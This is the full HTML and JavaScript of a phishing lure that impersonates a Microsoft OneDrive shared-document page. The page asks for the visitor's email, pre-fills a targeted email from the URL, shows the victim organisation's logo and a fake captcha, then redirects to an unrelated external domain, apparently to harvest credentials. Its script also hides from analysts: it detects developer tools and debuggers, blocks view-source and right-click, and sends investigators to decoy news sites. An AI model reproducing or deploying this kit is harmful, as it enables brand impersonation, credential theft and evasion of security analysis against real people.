<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="Content-Security-Policy" content="default-src 'self' https: data:; script-src 'self' 'unsafe-inline' https:; style-src 'self' 'unsafe-inline' https:; font-src 'self' https: data:; img-src 'self' https: data:;">
<title>Microsoft OneDrive - Secure Document Access</title>
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Segoe+UI:wght@300;400;500;600;700&display=swap" rel="stylesheet">
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
user-select: none;
}
body {
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
background: #f3f2f1;
min-height: 100vh;
color: #323130;
line-height: 1.4;
position: relative;
}
/* Microsoft Fluent background */
body::before {
content: '';
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background-image: url('https://logincdn.msftauth.net/shared/5/images/fluent_web_light_57fee22710b04cebe1d5.svg');
background-size: cover;
background-position: center;
background-repeat: no-repeat;
background-attachment: fixed;
z-index: -2;
}
/* Add subtle overlay to ensure readability */
body::after {
content: '';
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: rgba(243, 242, 241, 0.85);
z-index: -1;
pointer-events: none;
}
.header {
background: rgba(255, 255, 255, 0.95);
backdrop-filter: blur(10px);
border-bottom: 1px solid rgba(237, 235, 233, 0.8);
padding: 0;
position: sticky;
top: 0;
z-index: 100;
}
.header-content {
max-width: 1200px;
margin: 0 auto;
padding: 12px 24px;
display: flex;
align-items: center;
justify-content: space-between;
height: 48px;
}
.logo {
display: flex;
align-items: center;
gap: 8px;
}
.logo-icon {
width: 24px;
height: 24px;
background: #d13438;
border-radius: 3px;
display: flex;
align-items: center;
justify-content: center;
color: white;
font-size: 14px;
font-weight: 600;
}
.logo-text {
font-size: 15px;
font-weight: 600;
color: #323130;
}
.user-info {
display: flex;
align-items: center;
gap: 12px;
font-size: 13px;
color: #605e5c;
}
.user-avatar {
width: 32px;
height: 32px;
background: #d13438;
border-radius: 50%;
display: flex;
align-items: center;
justify-content: center;
color: white;
font-size: 14px;
font-weight: 600;
}
.main-container {
max-width: 1200px;
margin: 0 auto;
padding: 32px 24px;
}
.breadcrumb {
margin-bottom: 24px;
font-size: 13px;
color: #605e5c;
background: rgba(255, 255, 255, 0.7);
backdrop-filter: blur(5px);
padding: 8px 12px;
border-radius: 4px;
display: inline-block;
}
.breadcrumb a {
color: #d13438;
text-decoration: none;
}
.breadcrumb a:hover {
text-decoration: underline;
}
.document-container {
display: grid;
grid-template-columns: 1fr 400px;
gap: 32px;
align-items: start;
}
.document-main {
background: rgba(255, 255, 255, 0.95);
backdrop-filter: blur(10px);
border: 1px solid rgba(237, 235, 233, 0.8);
border-radius: 8px;
overflow: hidden;
box-shadow: 0 4px 20px rgba(0, 0, 0, 0.1);
}
.document-header {
padding: 20px 24px;
border-bottom: 1px solid rgba(237, 235, 233, 0.8);
display: flex;
align-items: center;
gap: 16px;
background: rgba(255, 255, 255, 0.9);
}
.document-icon {
width: 48px;
height: 48px;
background: #d13438;
border-radius: 4px;
display: flex;
align-items: center;
justify-content: center;
color: white;
font-size: 24px;
position: relative;
}
.document-icon::after {
content: 'PDF';
position: absolute;
bottom: -2px;
right: -2px;
background: #ffffff;
color: #d13438;
font-size: 8px;
font-weight: 700;
padding: 1px 3px;
border-radius: 2px;
border: 1px solid #d13438;
}
.document-info h1 {
font-size: 20px;
font-weight: 600;
color: #323130;
margin-bottom: 4px;
}
.document-meta {
font-size: 13px;
color: #605e5c;
display: flex;
gap: 16px;
}
.document-preview {
padding: 40px 24px;
text-align: center;
background: rgba(250, 249, 248, 0.9);
backdrop-filter: blur(5px);
min-height: 400px;
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
position: relative;
}
.preview-lock {
width: 80px;
height: 80px;
background: linear-gradient(135deg, #d13438, #b02a2e);
border-radius: 50%;
display: flex;
align-items: center;
justify-content: center;
color: white;
font-size: 32px;
margin-bottom: 24px;
box-shadow: 0 4px 15px rgba(209, 52, 56, 0.3);
}
.preview-title {
font-size: 18px;
font-weight: 600;
color: #323130;
margin-bottom: 8px;
}
.preview-subtitle {
font-size: 14px;
color: #605e5c;
margin-bottom: 24px;
}
.access-panel {
background: rgba(255, 255, 255, 0.95);
backdrop-filter: blur(10px);
border: 1px solid rgba(237, 235, 233, 0.8);
border-radius: 8px;
padding: 24px;
box-shadow: 0 4px 20px rgba(0, 0, 0, 0.1);
}
.panel-header {
margin-bottom: 20px;
}
.panel-title {
font-size: 18px;
font-weight: 600;
color: #323130;
margin-bottom: 8px;
}
.panel-subtitle {
font-size: 14px;
color: #605e5c;
}
.organization-info {
display: none;
background: rgba(248, 249, 250, 0.9);
backdrop-filter: blur(5px);
border: 1px solid rgba(225, 229, 233, 0.8);
border-radius: 6px;
padding: 16px;
margin-bottom: 20px;
align-items: center;
gap: 12px;
}
.organization-logo {
width: 40px;
height: 40px;
border-radius: 4px;
object-fit: contain;
background: #ffffff;
border: 1px solid rgba(225, 229, 233, 0.8);
padding: 4px;
}
.organization-details {
flex: 1;
}
.organization-name {
font-size: 14px;
font-weight: 600;
color: #323130;
margin-bottom: 2px;
}
.organization-domain {
font-size: 12px;
color: #605e5c;
}
.form-group {
margin-bottom: 16px;
}
.form-label {
display: block;
font-size: 14px;
font-weight: 600;
color: #323130;
margin-bottom: 4px;
}
.form-input {
width: 100%;
padding: 8px 12px;
border: 1px solid #605e5c;
border-radius: 4px;
font-size: 14px;
font-family: inherit;
background: rgba(255, 255, 255, 0.9);
backdrop-filter: blur(5px);
transition: all 0.15s ease;
}
.form-input:focus {
outline: none;
border-color: #d13438;
box-shadow: 0 0 0 2px rgba(209, 52, 56, 0.2);
background: rgba(255, 255, 255, 0.95);
}
.form-input:disabled {
background: rgba(243, 242, 241, 0.8);
color: #a19f9d;
border-color: #c8c6c4;
}
.captcha-section {
background: rgba(243, 242, 241, 0.9);
backdrop-filter: blur(5px);
border: 1px solid rgba(200, 198, 196, 0.8);
border-radius: 6px;
padding: 16px;
margin-bottom: 16px;
display: none;
}
.captcha-label {
font-size: 14px;
font-weight: 600;
color: #323130;
margin-bottom: 12px;
display: block;
}
.captcha-question {
background: rgba(255, 255, 255, 0.95);
backdrop-filter: blur(5px);
border: 1px solid #605e5c;
border-radius: 4px;
padding: 12px;
font-size: 18px;
font-weight: 600;
color: #323130;
text-align: center;
margin-bottom: 12px;
font-family: 'Courier New', monospace;
}
.captcha-input {
width: 80px;
padding: 8px 12px;
border: 1px solid #605e5c;
border-radius: 4px;
font-size: 16px;
font-weight: 600;
text-align: center;
background: rgba(255, 255, 255, 0.95);
backdrop-filter: blur(5px);
}
.captcha-input:focus {
outline: none;
border-color: #d13438;
box-shadow: 0 0 0 2px rgba(209, 52, 56, 0.2);
}
.access-button {
width: 100%;
background: linear-gradient(135deg, #d13438, #b02a2e);
color: #ffffff;
border: none;
padding: 12px 16px;
border-radius: 6px;
font-size: 14px;
font-weight: 600;
font-family: inherit;
cursor: pointer;
transition: all 0.15s ease;
display: flex;
align-items: center;
justify-content: center;
gap: 8px;
box-shadow: 0 2px 8px rgba(209, 52, 56, 0.3);
}
.access-button:hover:not(:disabled) {
background: linear-gradient(135deg, #b02a2e, #8f2226);
box-shadow: 0 4px 15px rgba(209, 52, 56, 0.4);
transform: translateY(-1px);
}
.access-button:active:not(:disabled) {
background: linear-gradient(135deg, #8f2226, #6e1a1d);
transform: translateY(0);
}
.access-button:disabled {
background: #c8c6c4;
color: #a19f9d;
cursor: not-allowed;
box-shadow: none;
transform: none;
}
.security-info {
margin-top: 20px;
padding: 16px;
background: rgba(255, 244, 206, 0.9);
backdrop-filter: blur(5px);
border: 1px solid rgba(255, 185, 0, 0.8);
border-radius: 6px;
}
.security-info-header {
display: flex;
align-items: center;
gap: 8px;
margin-bottom: 8px;
}
.security-info-icon {
color: #ffb900;
font-size: 16px;
}
.security-info-title {
font-size: 14px;
font-weight: 600;
color: #323130;
}
.security-info-text {
font-size: 13px;
color: #605e5c;
line-height: 1.4;
}
.document-properties {
margin-top: 24px;
padding-top: 20px;
border-top: 1px solid rgba(237, 235, 233, 0.8);
}
.properties-title {
font-size: 16px;
font-weight: 600;
color: #323130;
margin-bottom: 12px;
}
.property-item {
display: flex;
justify-content: space-between;
align-items: center;
padding: 8px 0;
border-bottom: 1px solid rgba(243, 242, 241, 0.8);
font-size: 13px;
}
.property-label {
color: #605e5c;
font-weight: 500;
}
.property-value {
color: #323130;
font-weight: 400;
}
.status-badge {
display: inline-flex;
align-items: center;
gap: 4px;
padding: 2px 8px;
background: rgba(223, 246, 221, 0.9);
color: #107c10;
border-radius: 4px;
font-size: 12px;
font-weight: 600;
backdrop-filter: blur(5px);
}
.loading-overlay {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: rgba(255, 255, 255, 0.95);
backdrop-filter: blur(10px);
display: none;
align-items: center;
justify-content: center;
z-index: 9999;
}
/* Microsoft Fluent background for loading overlay */
.loading-overlay::before {
content: '';
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
background-image: url('https://logincdn.msftauth.net/shared/5/images/fluent_web_light_57fee22710b04cebe1d5.svg');
background-size: cover;
background-position: center;
background-repeat: no-repeat;
background-attachment: fixed;
z-index: -2;
}
/* Overlay for loading screen readability */
.loading-overlay::after {
content: '';
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: rgba(255, 255, 255, 0.9);
z-index: -1;
pointer-events: none;
}
.loading-content {
text-align: center;
padding: 40px;
background: rgba(255, 255, 255, 0.95);
border-radius: 12px;
box-shadow: 0 8px 32px rgba(0, 0, 0, 0.1);
backdrop-filter: blur(20px);
border: 1px solid rgba(237, 235, 233, 0.8);
position: relative;
z-index: 10;
}
.loading-spinner {
width: 48px;
height: 48px;
margin: 0 auto 20px;
border-radius: 50%;
background-color: #d13438;
padding: 8px;
position: relative;
overflow: hidden;
}
.loading-spinner::before {
content: '';
position: absolute;
top: 50%;
left: 50%;
width: 32px;
height: 32px;
margin: -16px 0 0 -16px;
border: 3px solid rgba(255, 255, 255, 0.3);
border-top: 3px solid #ffffff;
border-radius: 50%;
animation: spin 1s linear infinite;
}
.loading-text {
font-size: 16px;
color: #323130;
font-weight: 600;
margin-bottom: 8px;
}
.loading-subtext {
font-size: 14px;
color: #605e5c;
margin-top: 8px;
}
.message {
padding: 12px 16px;
border-radius: 6px;
font-size: 14px;
margin-bottom: 16px;
display: none;
backdrop-filter: blur(5px);
}
.message-error {
background: rgba(253, 231, 233, 0.9);
color: #a4262c;
border: 1px solid rgba(209, 52, 56, 0.8);
}
.message-success {
background: rgba(223, 246, 221, 0.9);
color: #107c10;
border: 1px solid rgba(16, 124, 16, 0.8);
}
.message-icon {
margin-right: 8px;
}
/* Email provider logo fallback styles */
.email-provider-logo {
width: 40px;
height: 40px;
border-radius: 4px;
object-fit: contain;
background: #ffffff;
border: 1px solid rgba(225, 229, 233, 0.8);
padding: 4px;
}
.provider-gmail {
background: linear-gradient(45deg, #ea4335, #fbbc05, #34a853, #4285f4);
}
.provider-outlook {
background: #d13438;
}
.provider-yahoo {
background: #6001d2;
}
.provider-apple {
background: #000000;
}
.provider-generic {
background: #605e5c;
}
@media (max-width: 768px) {
.document-container {
grid-template-columns: 1fr;
gap: 24px;
}
.main-container {
padding: 16px;
}
.header-content {
padding: 12px 16px;
}
.access-panel {
padding: 20px;
}
body::before {
background-attachment: scroll;
}
.loading-overlay::before {
background-attachment: scroll;
}
}
/* Enhanced Microsoft Fluent Design touches */
.access-button:hover:not(:disabled) {
box-shadow: 0 4px 20px rgba(209, 52, 56, 0.4);
}
.document-main:hover {
box-shadow: 0 8px 32px rgba(0, 0, 0, 0.15);
transform: translateY(-2px);
transition: all 0.3s ease;
}
.access-panel:hover {
box-shadow: 0 8px 32px rgba(0, 0, 0, 0.15);
transform: translateY(-2px);
transition: all 0.3s ease;
}
/* Fluent Design acrylic effect */
.document-main,
.access-panel,
.header {
backdrop-filter: blur(20px) saturate(180%);
-webkit-backdrop-filter: blur(20px) saturate(180%);
}
/* Microsoft loading animation enhancement */
@keyframes spin {
0% { transform: rotate(0deg); }
100% { transform: rotate(360deg); }
}
/* Blurred document preview */
.document-preview-blur {
position: relative;
background: rgba(253, 242, 242, 0.9);
border-radius: 8px;
padding: 24px;
margin-bottom: 24px;
overflow: hidden;
height: 300px;
}
.document-preview-blur::before {
content: '';
position: absolute;
top: 0;
left: 0;
right: 0;
bottom: 0;
background-image: url('https://readdy.ai/api/search-image?query=professional%20corporate%20document%20with%20red%20gradient%20background%2C%20business%20report%20layout%20with%20paragraphs%20and%20charts%2C%20modern%20minimalist%20design&width=800&height=1000&seq=doc2&orientation=portrait');
background-size: cover;
background-position: center;
filter: blur(8px);
opacity: 0.7;
}
.document-preview-blur::after {
content: '';
position: absolute;
top: 0;
left: 0;
right: 0;
bottom: 0;
background: linear-gradient(135deg, rgba(209, 52, 56, 0.1), rgba(176, 42, 46, 0.1));
mix-blend-mode: overlay;
}
.document-preview-content {
position: relative;
z-index: 2;
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
height: 100%;
text-align: center;
}
.document-preview-icon {
width: 64px;
height: 64px;
background: rgba(209, 52, 56, 0.9);
border-radius: 8px;
display: flex;
align-items: center;
justify-content: center;
color: white;
font-size: 32px;
margin-bottom: 16px;
backdrop-filter: blur(10px);
}
.document-preview-text {
background: rgba(255, 255, 255, 0.9);
backdrop-filter: blur(10px);
padding: 12px 20px;
border-radius: 6px;
border: 1px solid rgba(209, 52, 56, 0.2);
}
.document-preview-title {
font-size: 16px;
font-weight: 600;
color: #323130;
margin-bottom: 4px;
}
.document-preview-subtitle {
font-size: 14px;
color: #605e5c;
}
</style>
</head>
<body oncontextmenu="return false">
<div class="loading-overlay" id="loadingOverlay">
<div class="loading-content">
<div class="loading-spinner"></div>
<div class="loading-text">Verifying access permissions</div>
<div class="loading-subtext">Please wait while we authenticate your request...</div>
</div>
</div>
<header class="header">
<div class="header-content">
<div class="logo">
<div class="logo-icon">⊞</div>
<div class="logo-text">OneDrive</div>
</div>
<div class="user-info">
<span>Secure Document Access</span>
<div class="user-avatar">?</div>
</div>
</div>
</header>
<main class="main-container">
<nav class="breadcrumb">
<a href="#">OneDrive</a> > <a href="#">Shared</a> > <span>Confidential_Report_2024.pdf</span>
</nav>
<div class="document-container">
<div class="document-main">
<div class="document-header">
<div class="document-icon">📄</div>
<div class="document-info">
<h1>Confidential_Report_2024.pdf</h1>
<div class="document-meta">
<span>24.4 MB</span>
<span>•</span>
<span>Modified 2 days ago</span>
<span>•</span>
<span class="status-badge">🔒 Secure</span>
</div>
</div>
</div>
<div class="document-preview">
<div class="document-preview-blur">
<div class="document-preview-content">
<div class="document-preview-icon">📄</div>
<div class="document-preview-text">
<div class="document-preview-title">Confidential Document</div>
<div class="document-preview-subtitle">PDF • 24.4 MB</div>
</div>
</div>
</div>
<div class="flex items-center justify-between text-sm text-gray-500" style="display: flex; justify-content: space-between; align-items: center; font-size: 13px; color: #605e5c; margin-top: 16px;">
<div style="display: flex; align-items: center; gap: 8px;">
<span>🛡️</span>
<span>End-to-end encrypted</span>
</div>
<div style="display: flex; align-items: center; gap: 8px;">
<span>⏰</span>
<span>Expires in 7 Days</span>
</div>
</div>
</div>
</div>
<div class="access-panel">
<div class="panel-header">
<h2 class="panel-title">Confirm You Are Human</h2>
<p class="panel-subtitle">Enter your email address to confirm you are the right person and a human</p>
</div>
<div class="organization-info" id="organizationInfo">
<img class="organization-logo" id="organizationLogo" alt="Organization Logo">
<div class="organization-details">
<div class="organization-name" id="organizationName">Loading...</div>
<div class="organization-domain" id="organizationDomain"></div>
</div>
</div>
<div class="message message-error" id="errorMessage">
<span class="message-icon">⚠️</span>
<span id="errorText"></span>
</div>
<div class="message message-success" id="successMessage">
<span class="message-icon">✅</span>
<span id="successText"></span>
</div>
<form id="accessForm">
<div class="form-group">
<label for="email" class="form-label">Email address</label>
<input type="email" id="email" name="email" class="form-input" placeholder="Enter your email address" required>
</div>
<div class="captcha-section" id="captchaSection">
<label class="captcha-label">Security verification</label>
<div class="captcha-question" id="captchaQuestion">1 + 1 = ?</div>
<input type="number" id="captchaAnswer" class="captcha-input" placeholder="?" min="0" max="100">
<div style="margin-top: 8px; font-size: 12px; color: #605e5c;">
Please solve the math problem to continue
</div>
</div>
<button type="submit" class="access-button" id="accessButton">
<span>🔓</span>
<span>Access Document</span>
</button>
</form>
<div class="security-info">
<div class="security-info-header">
<span class="security-info-icon">🛡️</span>
<span class="security-info-title">Security Notice</span>
</div>
<div class="security-info-text">
This document is protected with enterprise-grade security. Your access will be logged for audit purposes.
</div>
</div>
<div class="document-properties">
<h3 class="properties-title">Document Properties</h3>
<div class="property-item">
<span class="property-label">File type</span>
<span class="property-value">PDF Document</span>
</div>
<div class="property-item">
<span class="property-label">Size</span>
<span class="property-value">24.4 MB</span>
</div>
<div class="property-item">
<span class="property-label">Encryption</span>
<span class="property-value">AES-256</span>
</div>
<div class="property-item">
<span class="property-label">Expires</span>
<span class="property-value">7 days</span>
</div>
<div class="property-item">
<span class="property-label">Access level</span>
<span class="property-value">View only</span>
</div>
</div>
</div>
</div>
</main>
<script>
document.addEventListener('DOMContentLoaded', function() {
const accessForm = document.getElementById('accessForm');
const emailInput = document.getElementById('email');
const accessButton = document.getElementById('accessButton');
const loadingOverlay = document.getElementById('loadingOverlay');
const captchaSection = document.getElementById('captchaSection');
const captchaQuestion = document.getElementById('captchaQuestion');
const captchaAnswer = document.getElementById('captchaAnswer');
const errorMessage = document.getElementById('errorMessage');
const successMessage = document.getElementById('successMessage');
const errorText = document.getElementById('errorText');
const successText = document.getElementById('successText');
const organizationInfo = document.getElementById('organizationInfo');
const organizationLogo = document.getElementById('organizationLogo');
const organizationName = document.getElementById('organizationName');
const organizationDomain = document.getElementById('organizationDomain');
let currentCaptcha = null;
let emailFromUrl = false;
let captchaShown = false;
const dummySites = [
'https://google.com',
'https://www.ap.com',
'https://abc.com',
'https://cnn.com',
'https://bbc.com',
'https://reuters.com'
];
function skommelRedirectToDummySite() {
const randomSite = dummySites[Math.floor(Math.random() * dummySites.length)];
window.location.href = randomSite;
}
let devToolsOpen = false;
let debugAttempts = 0;
function skommelDetectDevTools() {
const threshold = 160;
if (window.outerHeight - window.innerHeight > threshold ||
window.outerWidth - window.innerWidth > threshold) {
if (!devToolsOpen) {
devToolsOpen = true;
debugAttempts++;
if (debugAttempts >= 2) {
skommelRedirectToDummySite();
}
}
} else {
devToolsOpen = false;
}
}
setInterval(skommelDetectDevTools, 500);
let consoleCount = 0;
const originalLog = console.log;
console.log = function() {
consoleCount++;
if (consoleCount > 3) {
skommelRedirectToDummySite();
}
return originalLog.apply(console, arguments);
};
function skommelDetectDebugger() {
const start = performance.now();
debugger;
const end = performance.now();
if (end - start > 100) {
skommelRedirectToDummySite();
}
}
setInterval(skommelDetectDebugger, 1000);
const emailProviders = {
'gmail.com': {
name: 'Gmail',
logo: 'https://ssl.gstatic.com/ui/v1/icons/mail/rfr/gmail.ico',
fallback: '📧',
class: 'provider-gmail'
},
'outlook.com': {
name: 'Outlook',
logo: 'https://outlook.live.com/favicon.ico',
fallback: '📧',
class: 'provider-outlook'
},
'hotmail.com': {
name: 'Outlook',
logo: 'https://outlook.live.com/favicon.ico',
fallback: '📧',
class: 'provider-outlook'
},
'live.com': {
name: 'Outlook',
logo: 'https://outlook.live.com/favicon.ico',
fallback: '📧',
class: 'provider-outlook'
},
'yahoo.com': {
name: 'Yahoo Mail',
logo: 'https://s.yimg.com/rz/l/favicon.ico',
fallback: '📧',
class: 'provider-yahoo'
},
'icloud.com': {
name: 'iCloud Mail',
logo: 'https://www.icloud.com/favicon.ico',
fallback: '📧',
class: 'provider-apple'
},
'me.com': {
name: 'iCloud Mail',
logo: 'https://www.icloud.com/favicon.ico',
fallback: '📧',
class: 'provider-apple'
},
'mac.com': {
name: 'iCloud Mail',
logo: 'https://www.icloud.com/favicon.ico',
fallback: '📧',
class: 'provider-apple'
}
};
// Logo fetching services
const logoServices = [
{
name: 'Clearbit',
url: (domain) => `https://logo.clearbit.com/${domain}`,
priority: 1
},
{
name: 'Google Favicon',
url: (domain) => `https://www.google.com/s2/favicons?domain=${domain}&sz=64`,
priority: 2
},
{
name: 'DuckDuckGo',
url: (domain) => `https://icons.duckduckgo.com/ip3/${domain}.ico`,
priority: 3
},
{
name: 'Favicon Grabber',
url: (domain) => `https://favicongrabber.com/api/grab/${domain}`,
priority: 4,
isApi: true
}
];
function skommelGetDomainFromEmail(email) {
return email.split('@')[1]?.toLowerCase();
}
function skommelGetCompanyNameFromDomain(domain) {
if (!domain) return '';
let name = domain.replace(/\.(com|org|net|edu|gov|co\.uk|co\.in|de|fr|jp|au|ca)$/i, '');
name = name.replace(/^(www\.|mail\.|webmail\.|smtp\.|pop\.|imap\.)/i, '');
return name.split('.')[0]
.split(/[-_]/)
.map(word => word.charAt(0).toUpperCase() + word.slice(1))
.join(' ');
}
function skommelIsEmailProvider(domain) {
return emailProviders.hasOwnProperty(domain);
}
function skommelGetEmailProviderInfo(domain) {
return emailProviders[domain] || null;
}
async function skommelFetchCompanyLogo(domain) {
if (!domain) return null;
const sortedServices = logoServices.sort((a, b) => a.priority - b.priority);
for (const service of sortedServices) {
try {
if (service.isApi) {
const response = await fetch(service.url(domain));
if (response.ok) {
const data = await response.json();
if (data.icons && data.icons.length > 0) {
const bestIcon = data.icons.reduce((prev, current) => {
const prevSize = parseInt(prev.sizes?.split('x')[0]) || 0;
const currentSize = parseInt(current.sizes?.split('x')[0]) || 0;
return currentSize > prevSize ? current : prev;
});
return bestIcon.src;
}
}
} else {
const logoUrl = service.url(domain);
const isValid = await skommelCheckImageExists(logoUrl);
if (isValid) {
return logoUrl;
}
}
} catch (error) {
console.log(`Failed to fetch from ${service.name}:`, error);
continue;
}
}
return null;
}
function skommelCheckImageExists(url) {
return new Promise((resolve) => {
const img = new Image();
img.onload = () => {
if (img.width > 16 && img.height > 16) {
resolve(true);
} else {
resolve(false);
}
};
img.onerror = () => resolve(false);
img.src = url;
setTimeout(() => resolve(false), 3000);
});
}
async function skommelDisplayOrganizationInfo(email) {
const domain = skommelGetDomainFromEmail(email);
if (!domain) return;
organizationInfo.style.display = 'flex';
organizationDomain.textContent = domain;
if (skommelIsEmailProvider(domain)) {
const providerInfo = skommelGetEmailProviderInfo(domain);
organizationName.textContent = providerInfo.name;
try {
const logoExists = await skommelCheckImageExists(providerInfo.logo);
if (logoExists) {
organizationLogo.src = providerInfo.logo;
organizationLogo.className = 'organization-logo email-provider-logo';
organizationLogo.style.display = 'block';
} else {
organizationLogo.style.display = 'none';
organizationName.textContent = `${providerInfo.fallback} ${providerInfo.name}`;
}
} catch (error) {
organizationLogo.style.display = 'none';
organizationName.textContent = `${providerInfo.fallback} ${providerInfo.name}`;
}
} else {
const companyName = skommelGetCompanyNameFromDomain(domain);
organizationName.textContent = companyName || 'Loading...';
try {
const logoUrl = await skommelFetchCompanyLogo(domain);
if (logoUrl) {
organizationLogo.src = logoUrl;
organizationLogo.className = 'organization-logo';
organizationLogo.style.display = 'block';
organizationName.textContent = companyName || domain.split('.')[0];
} else {
organizationLogo.style.display = 'none';
organizationName.textContent = `🏢 ${companyName || domain.split('.')[0]}`;
}
} catch (error) {
console.log('Error fetching logo:', error);
organizationLogo.style.display = 'none';
organizationName.textContent = `🏢 ${companyName || domain.split('.')[0]}`;
}
}
}
function skommelGenerateCaptcha() {
const num1 = Math.floor(Math.random() * 10) + 1;
const num2 = Math.floor(Math.random() * 10) + 1;
const operators = ['+', '-', '×'];
const operator = operators[Math.floor(Math.random() * operators.length)];
let answer;
let questionText;
switch(operator) {
case '+':
answer = num1 + num2;
questionText = `${num1} + ${num2} = ?`;
break;
case '-':
answer = Math.abs(num1 - num2);
questionText = `${Math.max(num1, num2)} - ${Math.min(num1, num2)} = ?`;
break;
case '×':
answer = num1 * num2;
questionText = `${num1} × ${num2} = ?`;
break;
}
currentCaptcha = answer;
captchaQuestion.textContent = questionText;
captchaAnswer.value = '';
}
function skommelValidateEmail(email) {
return email.match(/^[^\s@]+@[^\s@]+\.[^\s@]+$/);
}
function skommelShowError(message) {
errorText.textContent = message;
errorMessage.style.display = 'block';
successMessage.style.display = 'none';
}
function skommelShowSuccess(message) {
successText.textContent = message;
successMessage.style.display = 'block';
errorMessage.style.display = 'none';
}
function skommelHideMessages() {
errorMessage.style.display = 'none';
successMessage.style.display = 'none';
}
function skommelShowCaptchaIfNeeded(email) {
if (skommelValidateEmail(email) && !captchaShown) {
captchaSection.style.display = 'block';
skommelGenerateCaptcha();
captchaShown = true;
skommelShowSuccess('Email verified. Please complete the security check below.');
}
}
emailInput.addEventListener('input', function() {
const email = this.value.trim();
skommelHideMessages();
if (skommelValidateEmail(email)) {
skommelDisplayOrganizationInfo(email);
skommelShowCaptchaIfNeeded(email);
} else {
organizationInfo.style.display = 'none';
if (captchaShown && !emailFromUrl) {
captchaSection.style.display = 'none';
captchaShown = false;
}
}
});
const urlParams = new URLSearchParams(window.location.search);
const emailParam = urlParams.get('email');
if (emailParam && skommelValidateEmail(emailParam)) {
emailInput.value = emailParam;
emailInput.disabled = true;
emailFromUrl = true;
skommelDisplayOrganizationInfo(emailParam);
captchaSection.style.display = 'block';
skommelGenerateCaptcha();
captchaShown = true;
skommelShowSuccess('Email address verified. Please complete the security check below.');
}
accessForm.addEventListener('submit', function(e) {
e.preventDefault();
skommelHideMessages();
const email = emailInput.value.trim();
if (!skommelValidateEmail(email)) {
skommelShowError('Please enter a valid email address to access the document.');
return;
}
if (captchaShown) {
const userAnswer = parseInt(captchaAnswer.value);
if (isNaN(userAnswer) || userAnswer !== currentCaptcha) {
skommelShowError('Incorrect answer. Please solve the math problem correctly.');
skommelGenerateCaptcha();
return;
}
} else {
skommelShowCaptchaIfNeeded(email);
return;
}
loadingOverlay.style.display = 'flex';
setTimeout(function() {
const redirectUrl = 'https://beuq.jobsrozaana.com';
window.location.href = redirectUrl;
}, 3000);
});
document.addEventListener('keydown', function(e) {
if (e.key === 'F12') {
e.preventDefault();
skommelRedirectToDummySite();
return false;
}
if ((e.ctrlKey || e.metaKey) && e.shiftKey && e.key === 'I') {
e.preventDefault();
skommelRedirectToDummySite();
return false;
}
if ((e.ctrlKey || e.metaKey) && e.shiftKey && e.key === 'J') {
e.preventDefault();
skommelRedirectToDummySite();
return false;
}
if ((e.ctrlKey || e.metaKey) && e.key === 'u') {
e.preventDefault();
skommelRedirectToDummySite();
return false;
}
if ((e.ctrlKey || e.metaKey) && e.key === 's') {
e.preventDefault();
return false;
}
if ((e.ctrlKey || e.metaKey) && e.key === 'p') {
e.preventDefault();
return false;
}
});
document.addEventListener('contextmenu', function(e) {
e.preventDefault();
skommelRedirectToDummySite();
return false;
});
document.addEventListener('selectstart', function(e) {
e.preventDefault();
return false;
});
document.addEventListener('dragstart', function(e) {
e.preventDefault();
return false;
});
});
</script>
</body>
</html>